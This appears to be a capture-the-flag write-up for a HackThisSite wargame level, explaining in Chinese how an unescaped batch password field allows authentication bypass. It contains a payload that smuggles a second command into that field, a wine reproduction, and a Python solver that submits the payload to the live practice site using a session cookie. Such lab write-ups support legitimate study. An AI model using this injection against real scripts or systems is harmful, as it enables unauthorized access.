HackThisSite - Extended Basic Mission 10

Challenge

The following is a batch script authentication system. Your goal here is to get the batch script to authenticate you by inputting a password into the field. For this extbasic, your goal is to circumvent authentication altogether. Decrypting the password is for extbasic11.

关卡给出一个 Windows batch 认证脚本,要求在密码框里输入内容让脚本认证通过;本关的目标是绕过认证本身,而不是解出密码(解密码是第 11 关的任务)。

关卡页把脚本正文放在 <code> 块里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@ECHO OFF
SETLOCAL ENABLEDELAYEDEXPANSION
SET PRIME=2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97 101
SET CHARS=a b c d e f g h i j k l m n o p q r s t u v w x y z
SET PASSWORDVALUE=1
SET INPUT=
SET /P INPUT=Insert password:
IF "%INPUT%"=="" "%~0"
ECHO Authenticating...
:OVERLOOP
SET CURRENTPOSITION=0
:SUBLOOP
IF /I "!INPUT:~%CHARACTERPOSITION%,1!"=="!CHARS:~%CURRENTPOSITION%,1!" SET /A PASSWORDVALUE*=!PRIME:~%CURRENTPOSITION%,3!
SET /A CURRENTPOSITION+=3
IF NOT %CURRENTPOSITION%==78 GOTO :SUBLOOP
SET /A CHARACTERPOSITION+=1
IF NOT "!INPUT:~%CHARACTERPOSITION%,1!"=="" GOTO :OVERLOOP
:END
ENDLOCAL&IF NOT %PASSWORDVALUE%==1065435274 GOTO :ACCESSDENIED
ECHO You have been authenticated. Welcome aboard!
GOTO :SILENTPAUSE
:ACCESSDENIED
ECHO Access denied!
:SILENTPAUSE
PAUSE > NUL

Solution

SET PRIMESET CHARS 把 26 个字母和 2..101 的质数一一对齐。两者都用固定宽度排列:每个元素占 3 个字符(单字符元素后面补两个空格,两位数的元素后面补一个空格),所以位置 0、3、6、…、75 正好是 26 个元素。

SET /P INPUT 读入密码,随后双层循环逐位取 INPUT 的字符:命中 az 就把 PASSWORDVALUE 乘以该字母对应的质数。这构成一个字母集合的唯一乘积哈希:乘积相同即字母多重集合相同。

最终判据在 :END 之后:

1
ENDLOCAL&IF NOT %PASSWORDVALUE%==1065435274 GOTO :ACCESSDENIED

只有累积乘积等于 1065435274 才会落到认证成功分支。

1065435274 的质因数分解是 2 × 6827 × 78031682778031 都不在脚本乘的质数表内(脚本只有 2、3、5、…、101),逐字母相乘永远乘不出这个数,而质数分解的唯一性又排除了别的组合。也就是说,这一关的判据对任何密码都不可达,必须换一条路径。

脚本里另有一行把密码原文拼进引号:

1
IF "%INPUT%"=="" "%~0"

%INPUT% 是没有转义的原始输入,直接被放进一对引号之间做字符串比较。

setset /p 把名字大小写归一,PASSWORDVALUE 是同一个变量。让输入先闭合引号、制造一个恒真的比较,再用 & 追加命令,把 PASSWORDVALUE 直接写成目标值,并跳到 :END 跳过整个乘质数循环:

1
"=="" set passwordvalue=1065435274 && goto :end abc

代入 IF "%INPUT%"=="" "%~0" 后,这一行展开成:

1
IF ""=="" set passwordvalue=1065435274 && goto :end abc"=="" "%~0"

""=="" 成立(空串等于空串),于是执行 set passwordvalue=1065435274,再由 && goto :end 跳到 :END;行尾残留下来的 abc"=="" "%~0" 不影响 goto 取标号。跳过了 :OVERLOOP/:SUBLOOP,注入的赋值不会被乘质数循环覆盖。

到了 :END,判据那一行:

1
ENDLOCAL&IF NOT %PASSWORDVALUE%==1065435274 GOTO :ACCESSDENIED

%PASSWORDVALUE% 是普通(非延迟)展开,在整行被解析时就完成,早于同一行上的 ENDLOCAL 生效;此刻取到的正是刚注入的 10654352741065435274==1065435274 成立,IF NOT 为假,不跳转,执行流直接落到 ECHO You have been authenticated. Welcome aboard!ENDLOCAL 之后把变量作用域还原,但判据已经用完注入值。

在 Linux 上用 wine 的 cmd 跑一份与关卡一致的脚本 replica.bat(只去掉末尾的 PAUSE 以便无终端运行)。脚本从 stdin 读密码,把 payload 喂进去即可复现认证分支:

1
2
$ printf '%s\n' '"=="" set passwordvalue=1065435274 && goto :end abc' | wine cmd /c replica.bat
Insert password:You have been authenticated. Welcome aboard!

对照一个普通错误密码,脚本走的是拒绝分支:

1
2
3
$ echo hello | wine cmd /c replica.bat
Insert password:Authenticating...
Access denied!

普通密码会进入 Authenticating... 并逐字母乘质数,最后乘积不等于目标而拒绝;注入版本则在进入循环之前就把 PASSWORDVALUE 写好并跳过循环。

formkey 每次加载关卡页都会变,所以取页面和提交必须在同一次运行里完成;提交必须带 Referer: <关卡页>,否则模板返回 Invalid Referer 且不计分。会话 cookie 从环境变量 HTS_COOKIE 读取,不落盘:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
"""HackThisSite Extended Basic 10 (playit) live solver.

The level ships a Windows batch "authentication" script. The user's password
is read with ``SET /P INPUT`` and then spliced, unescaped, into a quoted
comparison::

IF "%INPUT%"=="" "%~0"

Everything after the password is therefore attacker-controlled. The pass/fail
gate further down tests the accumulated product against a fixed hash::

ENDLOCAL&IF NOT %PASSWORDVALUE%==1065435274 GOTO :ACCESSDENIED

1065435274 factors as 2 x 6827 x 78031, and 6827/78031 are not among the
primes the script multiplies (2..101), so no password can ever reach the gate
by the intended path. Instead we break out of the quoted comparison: the
injected ``"==`` keeps the ``IF`` true, then ``SET PASSWORDVALUE=1065435274``
plants the wanted value and ``GOTO :END`` skips the multiplication loop. At
``:END`` cmd expands ``%PASSWORDVALUE%`` before ``ENDLOCAL`` runs, so the
planted value is compared and the gate is satisfied.

The submission must carry ``Referer: <level page>`` or template.php answers
``Invalid Referer`` and the attempt does not count. The session cookie is read
from the ``HTS_COOKIE`` environment variable and never written to disk.

Usage:
export HTS_COOKIE='HackThisSite=...'
cd <hts-workspace>/challenges/hts-playit && uv run python extbasic-10/solve.py
"""
import os
import re
import urllib.parse
import urllib.request

UA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/131.0.0.0 Safari/537.36")
LEVEL = "https://www.hackthissite.org/missions/playit/extbasic/10/"
SUBMIT = "https://www.hackthissite.org/missions/extbasic/template.php"
NEXT = "/missions/playit/extbasic/11"
PAYLOAD = '"=="" set passwordvalue=1065435274 && goto :end abc'
COOKIE = os.environ["HTS_COOKIE"]

def fetch(url):
req = urllib.request.Request(url, headers={"Cookie": COOKIE, "User-Agent": UA})
return urllib.request.urlopen(req, timeout=30).read().decode("utf-8", "replace")

def main():
page = fetch(LEVEL)
formkey = re.search(r'name="formkey" value="([^"]+)"', page).group(1)
lvl = re.search(r'name="lvl" value="([^"]+)"', page).group(1)
body = urllib.parse.urlencode(
{"formkey": formkey, "lvl": lvl, "pass": PAYLOAD}).encode()
req = urllib.request.Request(
SUBMIT, data=body,
headers={"Cookie": COOKIE, "User-Agent": UA,
"Content-Type": "application/x-www-form-urlencoded",
"Referer": LEVEL})
resp = urllib.request.urlopen(req, timeout=30).read().decode("utf-8", "replace")
print("formkey=%s lvl=%s" % (formkey, lvl))
if NEXT in resp:
print("[+] accepted - server handed out the go-on link to level 11")
else:
print("[-] no go-on marker in response")

if __name__ == "__main__":
main()

运行输出:

1
2
3
$ cd <hts-workspace>/challenges/hts-playit && uv run python extbasic-10/solve.py
formkey=ehQuv4j0sZLoVGMWILQosc98SwzoZbktCJHPp8O lvl=10
[+] accepted - server handed out the go-on link to level 11

接受后响应里带指向 extbasic/11go on 链接,账户 profile 的 Extbasic: 行计入 (10)

Key points

  • %INPUT% 被原样拼进 IF "%INPUT%"=="" "%~0",是典型的 batch 命令注入:闭合引号制造恒真比较,再用 & 追加命令。
  • 判据行 ENDLOCAL&IF NOT %PASSWORDVALUE%==… 里的 %PASSWORDVALUE% 是解析期展开,早于同一行的 ENDLOCAL,因此注入的赋值在作用域还原之前就已用掉;写在没有 ENDLOCAL 的普通行上反而到不了这里。
  • 目标哈希 1065435274 = 2 × 6827 × 78031,两个因子不在脚本的质数表内,正常相乘无解。本关考的是绕过判据,不是解密。
  • 跳转用 goto :end 跳过乘质数循环,避免注入值被 SET /A PASSWORDVALUE*= 覆盖;行尾残留文本不影响标号解析。
  • playit 提交的纪律:formkey 每次加载都变,必须取页面 → 立刻提交;提交必须带 Referer: <关卡页>,否则 Invalid Referer 不计分。